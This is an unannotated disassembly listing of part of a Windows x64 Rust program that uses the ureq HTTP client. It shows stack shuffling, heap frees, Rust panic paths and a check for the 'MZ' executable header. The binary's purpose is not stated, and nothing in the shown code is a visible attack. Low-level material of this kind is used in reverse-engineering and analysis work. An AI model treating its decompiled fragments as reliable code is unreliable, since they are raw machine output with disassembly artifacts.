mov byte [rsp + 0x9f], cl
mov ecx, dword [rsp + 0x1a0]
mov dword [rsp + 0xa0], ecx
movzx r10d, byte [rsp + 0x3d]
mov byte [rsp + 0xa4], r10b
mov ecx, dword [rsp + 0x6c]
mov word [rsp + 0xa5], cx
shr ecx, 0x10
mov byte [rsp + 0xa7], cl
mov ecx, dword [rsp + 0x1a4]
mov dword [rsp + 0xa8], ecx
movzx ecx, byte [rsp + 0x3e]
mov byte [rsp + 0xac], cl
mov ecx, dword [rsp + 0x60]
mov word [rsp + 0xad], cx
shr ecx, 0x10
mov byte [rsp + 0xaf], cl
mov ecx, dword [rsp + 0x230]
mov dword [rsp + 0xb0], ecx
mov rcx, qword [rsp + 0x1f8]
mov byte [rsp + 0xb4], cl
mov ecx, dword [rsp + 0x220]
mov word [rsp + 0xb5], cx
shr ecx, 0x10
mov byte [rsp + 0xb7], cl
mov qword [rsp + 0xb8], r13
mov rcx, qword [rsp + 0x298]
mov qword [rsp + 0xc0], rcx
mov rcx, qword [rsp + 0x290]
mov qword [rsp + 0xc8], rcx
mov rcx, qword [rsp + 0x288]
mov qword [rsp + 0xd0], rcx
mov rcx, qword [rsp + 0x280]
mov qword [rsp + 0xd8], rcx
mov rcx, qword [rsp + 0x258]
mov qword [rsp + 0xe0], rcx
mov rcx, qword [rsp + 0x250]
mov qword [rsp + 0xe8], rcx
mov rcx, qword [rsp + 0x260]
mov qword [rsp + 0xf0], rcx
mov rcx, qword [rsp + 0x200]
mov qword [rsp + 0xf8], rcx
mov rcx, qword [rsp + 0x248]
mov qword [rsp + 0x100], rcx
mov rcx, qword [rsp + 0x1c8]
mov byte [rsp + 0x108], cl
mov r8, qword [rsp + 0x1a8]
mov rcx, r8
shr rcx, 0x30
mov byte [rsp + 0x10f], cl
mov dword [rsp + 0x109], r8d
shr r8, 0x20
mov word [rsp + 0x10d], r8w
mov byte [rsp + 0x110], sil
mov r8, qword [rsp + 0x58]
mov rcx, r8
shr rcx, 0x30
mov byte [rsp + 0x117], cl
mov dword [rsp + 0x111], r8d
shr r8, 0x20
mov word [rsp + 0x115], r8w
movzx ecx, byte [rsp + 0x38]
mov byte [rsp + 0x118], cl
mov rcx, r14
shr rcx, 0x30
mov byte [rsp + 0x11f], cl
mov dword [rsp + 0x119], r14d
shr r14, 0x20
mov word [rsp + 0x11d], r14w
movzx ecx, byte [rsp + 0x1c0]
mov byte [rsp + 0x120], cl
mov rcx, rbx
shr rcx, 0x30
mov byte [rsp + 0x127], cl
mov dword [rsp + 0x121], ebx
shr rbx, 0x20
mov word [rsp + 0x125], bx
movzx ecx, byte [rsp + 0x3a]
mov byte [rsp + 0x128], cl
mov rcx, r15
shr rcx, 0x30
mov byte [rsp + 0x12f], cl
mov dword [rsp + 0x129], r15d
shr r15, 0x20
mov word [rsp + 0x12d], r15w
movzx ecx, byte [rsp + 0x3b]
mov byte [rsp + 0x130], cl
mov rcx, r12
shr rcx, 0x30
mov byte [rsp + 0x137], cl
mov dword [rsp + 0x131], r12d
shr r12, 0x20
mov word [rsp + 0x135], r12w
movzx ecx, byte [rsp + 0x238]
mov byte [rsp + 0x138], cl
mov r8, qword [rsp + 0x218]
mov rcx, r8
shr rcx, 0x30
mov byte [rsp + 0x13f], cl
mov dword [rsp + 0x139], r8d
shr r8, 0x20
mov word [rsp + 0x13d], r8w
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x148], rax
movzx eax, word [rsp + 0x4a]
mov word [rsp + 0x150], ax
mov rax, qword [rsp + 0x70]
mov dword [rsp + 0x152], eax
shr rax, 0x20
mov word [rsp + 0x156], ax
movzx eax, word [rsp + 0x4c]
mov word [rsp + 0x158], ax
mov dword [rsp + 0x15a], edi
shr rdi, 0x20
mov word [rsp + 0x15e], di
movzx eax, word [rsp + 0x4e]
mov word [rsp + 0x160], ax
mov dword [rsp + 0x162], r9d
shr r9, 0x20
mov word [rsp + 0x166], r9w
movzx eax, word [rsp + 0x50]
mov word [rsp + 0x168], ax
mov rax, qword [rsp + 0x40]
mov dword [rsp + 0x16a], eax
shr rax, 0x20
mov word [rsp + 0x16e], ax
movzx eax, word [rsp + 0x52]
mov word [rsp + 0x170], ax
mov rax, qword [rsp + 0x1d8]
mov dword [rsp + 0x172], eax
shr rax, 0x20
mov word [rsp + 0x176], ax
movzx eax, word [rsp + 0x56]
mov word [rsp + 0x178], ax
mov rax, qword [rsp + 0x1d0]
mov dword [rsp + 0x17a], eax
shr rax, 0x20
mov word [rsp + 0x17e], ax
movzx eax, word [rsp + 0x54]
mov word [rsp + 0x180], ax
mov rax, qword [rsp + 0x210]
mov dword [rsp + 0x182], eax
shr rax, 0x20
mov word [rsp + 0x186], ax
movzx eax, word [rsp + 0x48]
mov word [rsp + 0x188], ax
mov rax, qword [rsp + 0x240]
mov dword [rsp + 0x18a], eax
shr rax, 0x20
mov word [rsp + 0x18e], ax
mov dword [rsp + 0x80], edx
lea rcx, [rsp + 0x80]
call fcn.14001dc70
call fcn.1400a8970
ud2
mov byte [rsp + 0x1c0], r8b
mov dword [rsp + 0x78], ebp
mov r13, qword [rsp + 0x270]
jmp 0x14001c6b4
xor ecx, ecx
call fcn.14001dca0
lea rcx, [rsp + 0x3b8]
call fcn.14001dcd0
call fcn.1400a8970
ud2
cmp r14, r15
je 0x14001d7ce
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x14001cba4
cmp qword [rdi + 0x10], 0x11
jb 0x14001cb93
mov rsi, qword [rsi - 8]
mov rcx, qword [0x1401d2138]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
mov rbx, qword [rsp + 0x2c0]
test rbx, rbx
je 0x14001c2f2
mov rsi, qword [rsp + 0x2c8]
movzx eax, word [rbx]
cmp eax, 0x5a4d
je 0x14001936c
jmp 0x14001c2f2
mov dword [rsp + 0x194], eax
mov eax, dword [rsp + 0x84]
mov dword [rsp + 0x1f4], eax
mov eax, dword [rsp + 0x88]
mov dword [rsp + 0x1b4], eax
mov eax, dword [rsp + 0x8c]
mov dword [rsp + 0x78], eax
movzx eax, byte [rsp + 0x94]
mov byte [rsp + 0x39], al
movzx eax, byte [rsp + 0x9c]
mov byte [rsp + 0x3c], al
movzx eax, byte [rsp + 0xa4]
mov byte [rsp + 0x3d], al
movzx eax, byte [rsp + 0xac]
mov byte [rsp + 0x3e], al
movzx eax, byte [rsp + 0x110]
mov byte [rsp + 0x3f], al
movzx eax, byte [rsp + 0x117]
shl eax, 0x10
movzx r8d, word [rsp + 0x115]
or r8d, eax
movzx eax, byte [rsp + 0x118]
mov byte [rsp + 0x38], al
movzx eax, byte [rsp + 0x11f]
shl eax, 0x10
movzx r9d, word [rsp + 0x11d]
or r9d, eax
movzx eax, byte [rsp + 0x120]
mov byte [rsp + 0x1c0], al
movzx eax, byte [rsp + 0x127]
shl eax, 0x10
movzx r13d, word [rsp + 0x125]
or r13d, eax
movzx eax, byte [rsp + 0x128]
mov byte [rsp + 0x3a], al
movzx eax, byte [rsp + 0x12f]
shl eax, 0x10
movzx r10d, word [rsp + 0x12d]
or r10d, eax
movzx eax, byte [rsp + 0x137]
shl eax, 0x10
movzx r11d, word [rsp + 0x135]
or r11d, eax
movzx eax, byte [rsp + 0x13f]
shl eax, 0x10
movzx ebp, word [rsp + 0x13d]
or ebp, eax
movzx eax, byte [rsp + 0x130]
mov byte [rsp + 0x3b], al
movzx eax, byte [rsp + 0x138]
mov byte [rsp + 0x238], al
mov eax, dword [rsp + 0x90]
mov dword [rsp + 0x198], eax
movzx eax, byte [rsp + 0x97]
mov dword [rsp + 0x344], eax
movzx eax, word [rsp + 0x95]
mov dword [rsp + 0x7c], eax
mov eax, dword [rsp + 0x98]
mov dword [rsp + 0x19c], eax
movzx eax, byte [rsp + 0x9f]
mov dword [rsp + 0x1e4], eax
movzx eax, word [rsp + 0x9d]
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0xa0]
mov dword [rsp + 0x1a0], eax
movzx eax, byte [rsp + 0xa7]
mov dword [rsp + 0x1e8], eax
movzx eax, word [rsp + 0xa5]
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0xa8]
mov dword [rsp + 0x1a4], eax
movzx eax, byte [rsp + 0xaf]
mov dword [rsp + 0x1f0], eax
movzx eax, word [rsp + 0xad]
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0xb0]
mov dword [rsp + 0x230], eax
movzx eax, byte [rsp + 0xb4]
mov qword [rsp + 0x1f8], rax
movzx eax, byte [rsp + 0xb7]
mov dword [rsp + 0x1ec], eax
movzx eax, word [rsp + 0xb5]
mov dword [rsp + 0x220], eax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x270], rax
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x298], rax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x288], rax
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x280], rax
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x258], rax
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x250], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x260], rax
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x200], rax
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x248], rax
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x1c8], rax
mov eax, dword [rsp + 0x111]
mov qword [rsp + 0x58], rax
mov r14d, dword [rsp + 0x119]
mov ebx, dword [rsp + 0x121]
mov r15d, dword [rsp + 0x129]
mov r12d, dword [rsp + 0x131]
mov eax, dword [rsp + 0x139]
mov qword [rsp + 0x218], rax
mov rsi, qword [rsp + 0x140]
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x2a0], rax
movzx eax, word [rsp + 0x150]
mov word [rsp + 0x4a], ax
mov eax, dword [rsp + 0x152]
mov qword [rsp + 0x70], rax
movzx eax, word [rsp + 0x156]
mov qword [rsp + 0x348], rax
movzx eax, word [rsp + 0x158]
mov word [rsp + 0x4c], ax
mov edi, dword [rsp + 0x15a]
movzx eax, word [rsp + 0x15e]
mov qword [rsp + 0x208], rax
movzx eax, word [rsp + 0x160]
mov word [rsp + 0x4e], ax
mov eax, dword [rsp + 0x162]
mov qword [rsp + 0x278], rax
movzx eax, word [rsp + 0x166]
mov qword [rsp + 0x1a8], rax
movzx eax, word [rsp + 0x168]
mov word [rsp + 0x50], ax
mov ecx, dword [rsp + 0x16a]
movzx eax, word [rsp + 0x16e]
mov qword [rsp + 0x2a8], rax
movzx eax, word [rsp + 0x170]
mov word [rsp + 0x52], ax
mov eax, dword [rsp + 0x172]
mov qword [rsp + 0x1d8], rax
movzx eax, word [rsp + 0x176]
mov qword [rsp + 0x338], rax
movzx eax, word [rsp + 0x178]
mov word [rsp + 0x56], ax
mov eax, dword [rsp + 0x17a]
mov qword [rsp + 0x1d0], rax
movzx eax, word [rsp + 0x17e]
mov qword [rsp + 0x330], rax
movzx eax, word [rsp + 0x180]
mov word [rsp + 0x54], ax
mov eax, dword [rsp + 0x182]
mov qword [rsp + 0x210], rax
movzx eax, word [rsp + 0x186]
mov qword [rsp + 0x328], rax
movzx eax, word [rsp + 0x188]
mov word [rsp + 0x48], ax
mov eax, dword [rsp + 0x18a]
mov qword [rsp + 0x240], rax
movzx eax, word [rsp + 0x18e]
mov qword [rsp + 0x320], rax
mov rax, qword [rsp + 0x4f8]
lock dec qword [rax]
mov qword [rsp + 0x1b8], r14
mov qword [rsp + 0x268], rbx
mov qword [rsp + 0x4f0], r15
mov qword [rsp + 0x318], r12
mov qword [rsp + 0x228], rdi
mov qword [rsp + 0x40], rcx
jne 0x14001d0c6
mov rcx, qword [rsp + 0x2b0]
mov rdi, rdx
mov r14, r8
mov r15, r9
mov rbx, r10
mov r12, r11
call fcn.1400c3040
mov r11, r12
mov r10, rbx
mov r9, r15
mov r8, r14
mov rdx, rdi
mov rcx, qword [rsp + 0x40]
mov r14, qword [rsp + 0x1b8]
mov rbx, qword [rsp + 0x268]
mov r12, qword [rsp + 0x318]
mov r15, qword [rsp + 0x4f0]
mov rdi, qword [rsp + 0x228]
shl dword [rsp + 0x344], 0x10
shl dword [rsp + 0x1e4], 0x10
shl dword [rsp + 0x1e8], 0x10
shl dword [rsp + 0x1f0], 0x10
shl dword [rsp + 0x1ec], 0x10
shl r8, 0x20
shl r9, 0x20
shl r13, 0x20
shl r10, 0x20
shl r11, 0x20
shl rbp, 0x20
shl qword [rsp + 0x348], 0x20
shl qword [rsp + 0x208], 0x20
shl qword [rsp + 0x1a8], 0x20
shl qword [rsp + 0x2a8], 0x20
shl qword [rsp + 0x338], 0x20
shl qword [rsp + 0x330], 0x20
shl qword [rsp + 0x328], 0x20
shl qword [rsp + 0x320], 0x20
mov rax, qword [rsp + 0x2b8]
lock dec qword [rax]
jne 0x14001d1a9
mov rcx, rdx
mov rdi, r8
mov r14, r9
mov rbx, r10
mov r15, r11
call fcn.1400c3120
mov r11, r15
mov r10, rbx
mov r9, r14
mov r8, rdi
mov rcx, qword [rsp + 0x40]
mov r14, qword [rsp + 0x1b8]
mov rbx, qword [rsp + 0x268]
mov r12, qword [rsp + 0x318]
mov r15, qword [rsp + 0x4f0]
mov rdi, qword [rsp + 0x228]
mov eax, dword [rsp + 0x344]
add dword [rsp + 0x7c], eax
mov eax, dword [rsp + 0x1e4]
add dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x1e8]
add dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x1f0]
add dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x1ec]
add dword [rsp + 0x220], eax
add qword [rsp + 0x58], r8
or r14, r9
or rbx, r13
or r15, r10
or r12, r11
add qword [rsp + 0x218], rbp
mov rax, qword [rsp + 0x348]
add qword [rsp + 0x70], rax
add rdi, qword [rsp + 0x208]
mov qword [rsp + 0x228], rdi
mov rax, qword [rsp + 0x1a8]
add qword [rsp + 0x278], rax
add rcx, qword [rsp + 0x2a8]
mov qword [rsp + 0x40], rcx
mov rax, qword [rsp + 0x338]
add qword [rsp + 0x1d8], rax
mov rax, qword [rsp + 0x330]
add qword [rsp + 0x1d0], rax
mov rax, qword [rsp + 0x328]
add qword [rsp + 0x210], rax
mov rax, qword [rsp + 0x320]
add qword [rsp + 0x240], rax
movzx edx, word [rsp + 0x48]
mov rax, qword [rsp + 0x1c8]
movzx r8d, byte [rsp + 0x1c0]
mov r13, qword [rsp + 0x270]
mov r9d, dword [rsp + 0x78]
jmp 0x14001d737
lea rcx, [rsp + 0x3b8]
xor edx, edx
mov r8, r14
call fcn.140085620
mov rax, qword [rsp + 0x3c0]
mov qword [rsp + 0x58], rax
mov r13, qword [rsp + 0x3c8]
add r14, 0x400
jae 0x1400189c4
jmp 0x140018e5c
mov dword [rsp + 0x194], eax
movzx eax, byte [rsp + 0x97]
shl eax, 0x10
movzx ecx, word [rsp + 0x95]
or ecx, eax
mov dword [rsp + 0x7c], ecx
movzx eax, byte [rsp + 0x9f]
shl eax, 0x10
movzx ecx, word [rsp + 0x9d]
or ecx, eax
mov dword [rsp + 0x68], ecx
movzx eax, byte [rsp + 0xa7]
shl eax, 0x10
movzx ecx, word [rsp + 0xa5]
or ecx, eax
mov dword [rsp + 0x6c], ecx
movzx eax, byte [rsp + 0xaf]
shl eax, 0x10
movzx ecx, word [rsp + 0xad]
or ecx, eax
mov dword [rsp + 0x60], ecx
movzx eax, byte [rsp + 0xb7]
shl eax, 0x10
movzx ecx, word [rsp + 0xb5]
or ecx, eax
mov dword [rsp + 0x220], ecx
movzx eax, byte [rsp + 0x117]
shl eax, 0x10
movzx ecx, word [rsp + 0x115]
or ecx, eax
shl rcx, 0x20
mov eax, dword [rsp + 0x111]
or rax, rcx
mov qword [rsp + 0x58], rax
movzx eax, byte [rsp + 0x11f]
shl eax, 0x10
movzx ecx, word [rsp + 0x11d]
or ecx, eax
shl rcx, 0x20
mov r14d, dword [rsp + 0x119]
or r14, rcx
movzx eax, byte [rsp + 0x127]
shl eax, 0x10
movzx ecx, word [rsp + 0x125]
or ecx, eax
shl rcx, 0x20
mov ebx, dword [rsp + 0x121]
or rbx, rcx
movzx eax, byte [rsp + 0x12f]
shl eax, 0x10
movzx ecx, word [rsp + 0x12d]
or ecx, eax
shl rcx, 0x20
mov r15d, dword [rsp + 0x129]
or r15, rcx
movzx eax, byte [rsp + 0x137]
shl eax, 0x10
movzx ecx, word [rsp + 0x135]
or ecx, eax
shl rcx, 0x20
mov r12d, dword [rsp + 0x131]
or r12, rcx
movzx eax, byte [rsp + 0x13f]
shl eax, 0x10
movzx ecx, word [rsp + 0x13d]
or ecx, eax
shl rcx, 0x20
mov eax, dword [rsp + 0x139]
or rax, rcx
mov qword [rsp + 0x218], rax
mov eax, dword [rsp + 0x152]
movzx ecx, word [rsp + 0x156]
shl rcx, 0x20
or rcx, rax
mov qword [rsp + 0x70], rcx
mov eax, dword [rsp + 0x15a]
movzx ecx, word [rsp + 0x15e]
shl rcx, 0x20
or rcx, rax
mov qword [rsp + 0x228], rcx
mov eax, dword [rsp + 0x162]
movzx ecx, word [rsp + 0x166]
shl rcx, 0x20
or rcx, rax
mov qword [rsp + 0x278], rcx
movzx ecx, word [rsp + 0x16e]
shl rcx, 0x20
mov eax, dword [rsp + 0x16a]
or rcx, rax
mov qword [rsp + 0x40], rcx
movzx ecx, word [rsp + 0x176]
shl rcx, 0x20
mov eax, dword [rsp + 0x172]
or rcx, rax
mov qword [rsp + 0x1d8], rcx
movzx ecx, word [rsp + 0x17e]
shl rcx, 0x20
mov eax, dword [rsp + 0x17a]
or rcx, rax
mov qword [rsp + 0x1d0], rcx
movzx ecx, word [rsp + 0x186]
shl rcx, 0x20
mov eax, dword [rsp + 0x182]
or rcx, rax
mov qword [rsp + 0x210], rcx
movzx ecx, word [rsp + 0x18e]
shl rcx, 0x20
mov eax, dword [rsp + 0x18a]
or rcx, rax
mov qword [rsp + 0x240], rcx
movzx eax, byte [rsp + 0x94]
mov byte [rsp + 0x39], al
movzx eax, byte [rsp + 0x9c]
mov byte [rsp + 0x3c], al
movzx eax, byte [rsp + 0xa4]
mov byte [rsp + 0x3d], al
movzx eax, byte [rsp + 0xac]
mov byte [rsp + 0x3e], al
movzx eax, byte [rsp + 0x110]
mov byte [rsp + 0x3f], al
movzx eax, byte [rsp + 0x118]
mov byte [rsp + 0x38], al
movzx r8d, byte [rsp + 0x120]
movzx eax, byte [rsp + 0x128]
mov byte [rsp + 0x3a], al
movzx eax, byte [rsp + 0x130]
mov byte [rsp + 0x3b], al
movzx eax, byte [rsp + 0x138]
mov byte [rsp + 0x238], al
mov eax, dword [rsp + 0x84]
mov dword [rsp + 0x1f4], eax
mov eax, dword [rsp + 0x88]
mov dword [rsp + 0x1b4], eax
mov r9d, dword [rsp + 0x8c]
mov eax, dword [rsp + 0x90]
mov dword [rsp + 0x198], eax
mov eax, dword [rsp + 0x98]
mov dword [rsp + 0x19c], eax
mov eax, dword [rsp + 0xa0]
mov dword [rsp + 0x1a0], eax
mov eax, dword [rsp + 0xa8]
mov dword [rsp + 0x1a4], eax
mov eax, dword [rsp + 0xb0]
mov dword [rsp + 0x230], eax
movzx eax, byte [rsp + 0xb4]
mov qword [rsp + 0x1f8], rax
mov r13, qword [rsp + 0xb8]
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x298], rax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x288], rax
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x280], rax
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x258], rax
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x250], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x260], rax
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x200], rax
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x248], rax
mov rax, qword [rsp + 0x108]
mov rsi, qword [rsp + 0x140]
mov rcx, qword [rsp + 0x148]
mov qword [rsp + 0x2a0], rcx
movzx ecx, word [rsp + 0x150]
mov word [rsp + 0x4a], cx
movzx ecx, word [rsp + 0x158]
mov word [rsp + 0x4c], cx
movzx ecx, word [rsp + 0x160]
mov word [rsp + 0x4e], cx
movzx ecx, word [rsp + 0x168]
mov word [rsp + 0x50], cx
movzx ecx, word [rsp + 0x170]
mov word [rsp + 0x52], cx
movzx ecx, word [rsp + 0x178]
mov word [rsp + 0x56], cx
movzx ecx, word [rsp + 0x180]
mov word [rsp + 0x54], cx
movzx edx, word [rsp + 0x188]
mov rcx, rax
mov qword [rsp + 0x1c8], rax
shr rax, 8
mov qword [rsp + 0x1a8], rax
mov eax, r9d
shr eax, 8
mov dword [rsp + 0x208], eax
cmp qword [rsp + 0x2d8], 0
mov word [rsp + 0x48], dx
je 0x14001d7b4
mov eax, r8d
mov r8, qword [rsp + 0x2d0]
mov rcx, qword [0x1401d2138]
xor edx, edx
mov qword [rsp + 0x268], rbx
mov byte [rsp + 0x1c0], al
mov dword [rsp + 0x78], r9d
mov rbp, r15
mov rdi, r12
call sub.KERNEL32.dll_HeapFree
mov r9d, dword [rsp + 0x78]
movzx r8d, byte [rsp + 0x1c0]
mov rbx, qword [rsp + 0x268]
mov rdi, rsi
shr rdi, 8
mov edx, dword [rsp + 0x194]
mov ecx, dword [rsp + 0x1b4]
jmp 0x14001c687
lea rcx, [rsp + 0x2c0]
mov r8d, 0x20
mov rdx, r15
call fcn.140004440
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
jne 0x14001cb88
jmp 0x14001cba4
mov r15, r14
cmp qword [rsp + 0x40], 0
je 0x14001d817
mov rcx, qword [0x1401d2138]
xor edx, edx
mov r8, qword [rsp + 0x70]
call sub.KERNEL32.dll_HeapFree
test r15, r15
lea rax, str.could_not_resolve_to_any_addresses
cmovne rax, r15
mov qword [rsp + 0x80], rax
lea rax, str._Users_caojian_.cargo_registry_src_index.crates.io_6f17d22bba15001f_ureq_2.9.6_src_testserver.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14017e918]
lea r8, [rsp + 0x80]
add byte [rax], 0
add byte [rdx + 0x2b], bh
add byte [rax], 0
add byte [rdx + 0x2b], bh
call fcn.140008040
ud2
cmp qword [rsp + 0x3c0], 0
je 0x14001d87c
mov r8, qword [rsp + 0x3b8]
mov rcx, qword [0x1401d2138]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [rsp + 0x40]
call sub.KERNEL32.dll_CloseHandle
call fcn.1400a8970
ud2
lea rax, str._Users_caojian_.cargo_registry_src_index.crates.io_6f17d22bba15001f_ureq_2.9.6_src_header.rs
mov rcx, r8
mov r8, rax
call fcn.140006660
ud2
lea r8, str._rustc_a28077b28a02b92985b3a3faecf92813155f1ea1library_std_srcio_readbuf.rs
mov rcx, r12
call fcn.140006660
ud2
lea rax, [rsp + 0x508]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x2c0], xmm0
lea rax, str._Users_caojian_.cargo_registry_src_index.crates.io_6f17d22bba15001f_ureq_2.9.6_src_header.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Legal_chars_in_header_name
lea r9, [0x14017e958]
lea r8, [rsp + 0x2c0]
mov edx, 0x1a
call fcn.140008040
ud2
movups xmm0, xmmword [rbx]
movaps xmmword [rsp + 0x500], xmm0
lea rax, str._Users_caojian_.cargo_registry_src_index.crates.io_6f17d22bba15001f_ureq_2.9.6_src_header.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Legal_chars_in_header_name
lea r9, [0x14017e958]
lea r8, [rsp + 0x500]
mov edx, 0x1a
call fcn.140008040
ud2
lea r8, str._Users_caojian_.cargo_registry_src_index.crates.io_6f17d22bba15001f_ureq_2.9.6_src_header.rs
mov rcx, rax
call fcn.140006660
ud2
lea r8, str._Users_caojian_.cargo_registry_src_index.crates.io_6f17d22bba15001f_ureq_2.9.6_src_header.rs
call fcn.140005ce0
ud2
lea r8, str._rustc_a28077b28a02b92985b3a3faecf92813155f1ea1library_std_srciomod.rs
mov edx, 0x20
mov rcx, r13
call fcn.140006660
ud2
ud2
lea r8, [0x140158858]
mov edx, 0x20
mov rcx, rbx
call fcn.140006660
ud2
mov ecx, 1
mov edx, 1
call fcn.1400034d0
ud2
lea r8, str._rustc_a28077b28a02b92985b3a3faecf92813155f1ea1library_std_srcio_readbuf.rs
mov rdx, rax
call fcn.140007110
ud2
lea r8, str._rustc_a28077b28a02b92985b3a3faecf92813155f1ea1library_std_srcio_readbuf.rs
mov rcx, rax
call fcn.140006660
ud2
mov ecx, 1
mov edx, 0x29
call fcn.1400034d0
ud2
mov ecx, 8
mov edx, 0x30
call fcn.1400034d0
ud2
mov ecx, 1
mov edx, 3
call fcn.1400034d0
ud2
mov ecx, 1
mov edx, 0x1b
call fcn.1400034d0
ud2
movups xmm0, xmmword [rsp + 0x508]
jmp 0x14001d8bd
call fcn.140003490
ud2
mov ecx, 8
mov edx, 0x18
call fcn.1400034d0
ud2
mov ecx, 8
mov edx, 0x20
call fcn.1400034d0
ud2
lea r8, str.library_std_srcio_readbuf.rs
mov rdx, rbx
call fcn.140006660
ud2
mov rax, qword [rsp + 0x88]
jmp 0x14001d825
xor r15d, r15d
cmp qword [rsp + 0x40], 0
jne 0x14001d804
jmp 0x14001d817
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x500], rax
lea rax, str._Users_caojian_.cargo_registry_src_index.crates.io_6f17d22bba15001f_ureq_2.9.6_src_testserver.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14017e918]
lea r8, [rsp + 0x500]
mov edx, 0x2b
call fcn.140008040
ud2
lock dec qword [rbx]
jne 0x14001daab
lea rcx, [rsp + 0x500]
call fcn.140024600
lock dec qword [rsi]
jne 0x14001dab9
mov rcx, rsi
call fcn.140024700
mov qword [rsp + 0x80], r15
lea rax, [0x14017e6b0]
mov qword [rsp + 0x20], rax
lea rcx, str.failed_to_spawn_thread_rustc_a28077b28a02b92985b3a3faecf92813155f1ea1library_std_src_threadmod.rs
lea r9, [0x14017e918]
lea r8, [rsp + 0x80]
mov edx, 0x16
call fcn.140008040
ud2
lea rcx, [0x1401950a8]
lea r8, str.src_lib.rs
mov edx, 0x2b
call fcn.140006a00
ud2
mov ecx, 8
mov edx, 0x40
call fcn.1400034d0
ud2
lea rax, str.number_of_read_bytes_exceeds_limit
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rax, str.combase.dll
mov qword [rsp + 0x90], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x98], xmm0
lea rdx, str._rustc_a28077b28a02b92985b3a3faecf92813155f1ea1library_std_srciomod.rs
lea rcx, [rsp + 0x80]
call fcn.140005ca0
ud2
add rcx, 0x10
xor edx, edx
call fcn.140081c70
lea rax, str.too_many_running_threads_in_thread_scope
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rax, str.combase.dll
mov qword [rsp + 0x90], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x98], xmm0
lea rdx, str.library_std_src_thread_scoped.rs
lea rcx, [rsp + 0x80]
call fcn.140005ca0
ud2
lock dec qword [rdi]
jne 0x14001dbce
mov rcx, qword [rsp + 0x80]
call fcn.1400da710
lea rax, str.library_std_src_threadlocal.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x14017fa9e]
lea r9, [0x140157aa8]
lea r8, [rsp + 0x80]
mov edx, 0x46
call fcn.140008040
ud2